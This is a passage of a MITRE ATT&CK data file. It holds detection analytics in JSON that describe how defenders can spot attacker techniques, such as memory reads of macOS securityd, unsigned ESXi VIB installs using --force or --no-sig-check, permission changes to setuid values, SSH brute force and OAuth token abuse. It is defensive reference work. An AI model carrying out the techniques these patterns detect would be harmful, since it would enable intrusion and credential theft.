                    "external_id": "AN0156"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0156",
            "description": "Detects suspicious memory access attempts targeting the `securityd` process. Observes tools invoking process memory read operations (e.g., ptrace, task_for_pid) against `securityd`. Correlates with anomalous parent process lineage, root privilege escalation, or repeated unauthorized attempts.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "macos:unifiedlog",
                    "channel": "ptrace or task_for_pid"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "execution of memory inspection tools (lldb, gdb, osqueryi)"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedDebuggers",
                    "description": "List of authorized debugging tools permitted in dev/test environments"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period between memory inspection and Keychain API access"
                },
                {
                    "field": "PrivilegedUsers",
                    "description": "Expected set of admin accounts with legitimate debugging permissions"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0345#AN0979",
                    "external_id": "AN0979"
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            "description": "Detect sudden privilege escalations such as IAM role changes, user-assigned privilege boundaries, or elevation via assumed roles beyond normal behavior.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "AWS:CloudTrail",
                    "channel": "role privilege expansion detected"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "AWS:CloudTrail",
                    "channel": "cross-account or unexpected assume role"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PermittedRoleTransitions",
                    "description": "Define valid transitions between IAM roles"
                },
                {
                    "field": "CrossAccountBoundary",
                    "description": "Should flag if assumption crosses trust boundary"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0372#AN1050",
                    "external_id": "AN1050"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1050",
            "description": "Execution of AppleScript, bash, or launchd jobs that invoke delay functions (e.g., sleep, delay in AppleScript) with limited parent interaction and staged follow-on commands.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "launchd or osascript spawns process with delay command"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:unifiedlog",
                    "channel": "delay/sleep library usage in user context"
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            ],
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                {
                    "field": "ScriptPattern",
                    "description": "AppleScript vs shell scripts differ per threat and org."
                },
                {
                    "field": "UserContext",
                    "description": "Execution under user vs daemon context changes severity."
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                {
                    "field": "DelayDurationThreshold",
                    "description": "Amount of delay that distinguishes benign usage vs evasion."
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            ],
            "x_mitre_deprecated": false
        },
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            "id": "x-mitre-analytic--94e3c24f-01ee-45bc-89c0-7024ada7cc66",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0223#AN0625",
                    "external_id": "AN0625"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0625",
            "description": "Detects script or binary execution initiated via JAMF, Munki, or custom MDM agents outside of baseline, or JAMF launching new Terminal or osascript processes from remote command payloads.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process and signing chain events"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:jamf",
                    "channel": "RemoteCommandExecution"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SigningAuthorityList",
                    "description": "Expected signing authorities for JAMF and MDM scripts"
                },
                {
                    "field": "RemoteCommandInterval",
                    "description": "Frequency of remote execution from MDM servers"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--94e5fd96-1fde-41fd-863d-6ef9cb8a3e1a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0143#AN0404",
                    "external_id": "AN0404"
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            ],
            "object_marking_refs": [
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            "name": "Analytic 0404",
            "description": "Flows showing encrypted payloads with high entropy not matching TLS handshake patterns, particularly when occurring on non-standard ports. Defender observes NetFlow/IPFIX byte distribution anomalies or IDS/IPS detecting symmetric encryption patterns without associated key exchange.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Flow records with entropy signatures resembling symmetric encryption"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Connections",
                    "channel": "Symmetric encryption detected without TLS handshake sequence"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PortProfiles",
                    "description": "Baseline expected encryption by port/protocol."
                },
                {
                    "field": "TrafficVolumeThreshold",
                    "description": "Volume thresholds for distinguishing benign VPN traffic from hidden C2."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--95d381e5-f2d6-4164-9917-57f9b070333b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0460#AN1263",
                    "external_id": "AN1263"
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            ],
            "object_marking_refs": [
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1263",
            "description": "Rapid login failures across different users from a single IP address, targeting SSH or PAM login with distinct username-password pairs",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "linux:syslog",
                    "channel": "SSH failed login"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "LoginFailureRatio",
                    "description": "Ratio of failed logins per unique user attempted"
                },
                {
                    "field": "AuthServiceFilter",
                    "description": "Restrict detection to certain protocols (e.g., sshd, login, su)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--96050801-dc36-462f-982e-df2806eaa3ea",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0210#AN0592",
                    "external_id": "AN0592"
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            ],
            "object_marking_refs": [
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0592",
            "description": "Domain logins using network accounts or mobile accounts via Open Directory or Active Directory plugins, especially outside business hours or on atypical endpoints.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "macos:unifiedlog",
                    "channel": "log show --predicate 'eventMessage contains \"Authentication\"'"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserLocation",
                    "description": "Geo-IP or VPN source context for abnormal remote access."
                },
                {
                    "field": "LogonMethod",
                    "description": "Control for expected services (e.g., GUI login vs. SSH)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--967f7636-1547-4db7-921a-1b84f312a2cd",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0289#AN0804",
                    "external_id": "AN0804"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0804",
            "description": "Disabling or altering security and audit logs in SaaS admin panels (e.g., Slack, Zoom, Salesforce). Defender view: API calls or admin console changes that stop event exports or logging integrations.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd",
                    "name": "saas:audit",
                    "channel": "Log export integration removed or disabled"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "IntegrationScope",
                    "description": "Define which SaaS log integrations are required and alert if removed."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9680d434-3470-4a35-bf48-1785ab14d831",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0185#AN0529",
                    "external_id": "AN0529"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0529",
            "description": "OAuth token usage for Exchange Online or SharePoint API access without preceding login or from unauthorized clients.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Office Suite"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "m365:unified",
                    "channel": "OAuthTokenIssued, FileAccessed, MailItemsAccessed"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ClientAppIDWhitelist",
                    "description": "Restrict trusted Office apps authorized to request tokens"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9696a221-35b9-4576-ae75-714c902c2889",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0535#AN1475",
                    "external_id": "AN1475"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1475",
            "description": "Malicious VIB installation for persistence via `esxcli software vib install` using `--force` or `--no-sig-check`, enabling custom startup scripts or firewall rules. Behavior chain: (1) unsigned/suspicious VIB installation \u2192 (2) startup script or binary placed in persistent boot path \u2192 (3) persistence across reboot via /etc/rc.local.d or other boot hook).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "esxi:esxupdate",
                    "channel": "/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "linux:fim",
                    "channel": "Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AcceptanceLevel",
                    "description": "Some environments may intentionally permit CommunitySupported or unsigned VIBs\u2014filter by known allowed publishers."
                },
                {
                    "field": "InstallCommandThreshold",
                    "description": "Set alerting thresholds for frequency of VIB install attempts per host/user/time window."
                },
                {
                    "field": "StartupPathRegex",
                    "description": "Tune regex for monitoring startup file locations based on ESXi image customization."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--969bd6a3-b89f-4279-9bd2-3fc461880308",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0230#AN0644",
                    "external_id": "AN0644"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0644",
            "description": "Monitors Gatekeeper, spctl, and unified log entries for binaries executed with unexpected or untrusted signatures. Correlates file metadata changes with process launches where signature validation is skipped, altered, or fails but the process still executes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "macos:unifiedlog",
                    "channel": "Code signing verification failures or bypassed trust decisions"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of binaries with unsigned or anomalously signed certificates"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DeveloperIDAllowList",
                    "description": "Maintain list of expected Developer IDs to minimize false positives from enterprise apps"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlates file signature changes with subsequent executions"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--96e1107e-7fbe-49a2-b425-9d85a6ff46df",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0895#AN2027",
                    "external_id": "AN2027"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2027",
            "description": "Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nMonitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nConsider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da",
                    "name": "Internet Scan",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811",
                    "name": "Domain Name",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
                    "name": "Domain Name",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
                    "name": "Domain Name",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--96fe3582-b1a3-40e4-9e9d-bab764f2af7e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0465#AN1286",
                    "external_id": "AN1286"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1286",
            "description": "Abuse of system-generated or default privileged accounts such as 'root' or 'vpxuser' logging into ESXi hosts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "esxi:auth",
                    "channel": "/var/log/auth.log"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AccountName",
                    "description": "If 'vpxuser' is replaced or configured differently, detection logic must reflect the change."
                },
                {
                    "field": "IPRange",
                    "description": "Legitimate vCenter IP ranges may be whitelisted to avoid false positives."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--971ddd36-1ecd-46bf-b94c-22e8f05c1462",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0351#AN0998",
                    "external_id": "AN0998"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0998",
            "description": "Linux permission escalation behavioral chain: (1) Process creation of permission modification utilities (chmod, chown, chgrp, setfacl) with suspicious parameters indicating privilege escalation intent, (2) System call analysis revealing direct file metadata manipulation (chmod, fchmod, chown, fchown syscalls), (3) Extended attribute and ACL modifications targeting critical system paths, (4) Temporal correlation with subsequent file access or process execution from modified locations, (5) Anomalous permission patterns deviating from system baselines",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "auditd:SYSCALL",
                    "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:PROCTITLE",
                    "channel": "proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:osquery",
                    "channel": "process execution events for permission modification utilities with command-line analysis"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousPermissionValues",
                    "description": "Octal permission values indicating potential malicious intent - customize based on organizational security policy (default: 777, 755, 4755, 2755, 1755 for sticky/setuid/setgid)"
                },
                {
                    "field": "CriticalSystemPaths",
                    "description": "Linux filesystem paths requiring enhanced permission change monitoring - adapt to environment-specific critical directories (/etc, /usr/bin, /usr/sbin, /var, /opt, /root, /boot)"
                },
                {
                    "field": "AuthorizedSystemAdministrators",
                    "description": "User accounts and service accounts authorized for system-level permission modifications - maintain current list of legitimate administrators"
                },
                {
                    "field": "TemporalCorrelationWindow",
                    "description": "Time window for correlating permission changes with subsequent file access or process execution - adjust based on system performance (default: 300 seconds)"
                },
                {
                    "field": "RecursiveOperationThreshold",
                    "description": "Maximum depth or file count for recursive permission operations before triggering anomaly detection (-R flag monitoring)"
                },
                {
                    "field": "ACLComplexityBaseline",
                    "description": "Baseline complexity metrics for setfacl operations to detect anomalous extended ACL configurations"
                },
                {
                    "field": "FileAccessFrequencyBaseline",
                    "description": "Statistical baseline for normal file access patterns post-permission modification to detect privilege abuse"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9735a0b1-df29-49fe-b0f7-973c0b513e8d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0723",
                    "external_id": "AN0723"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0723",
            "description": "Forged web credentials in Office Suite contexts may appear as abnormal authentication headers in Outlook or Teams traffic, or unexplained OAuth grants in M365/Azure logs. Defenders should correlate token usage events with missing authentication flows and mismatched device/user context.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3",
                    "name": "m365:oauth",
                    "channel": "OAuth grants or tokens issued without expected user consent"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "m365:signinlogs",
                    "channel": "Token usage events with device/user mismatch"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "OAuthAppAllowlist",
                    "description": "Approved OAuth apps and flows; flag unapproved or unexpected token grants."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--97a188cf-5851-4cb7-9bb5-17702707d52b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0378#AN1067",
                    "external_id": "AN1067"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1067",
            "description": "Identifies transfer of base64, uuencoded, or high-entropy files over HTTP, FTP, or custom protocols in lateral movement or exfiltration streams.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "networkdevice:IDS",
                    "channel": "content inspection / PCAP / HTTP body"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "EntropyThreshold",
                    "description": "Adjust threshold to reduce false positives in compressed but benign data"
                },
                {
                    "field": "ProtocolScope",
                    "description": "Refine by enabling inspection of specific exfil vectors (e.g., FTP, HTTP POST)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--97b0c549-88d2-4739-a081-a9113e25cf1a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0853#AN1985",
                    "external_id": "AN1985"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1985",
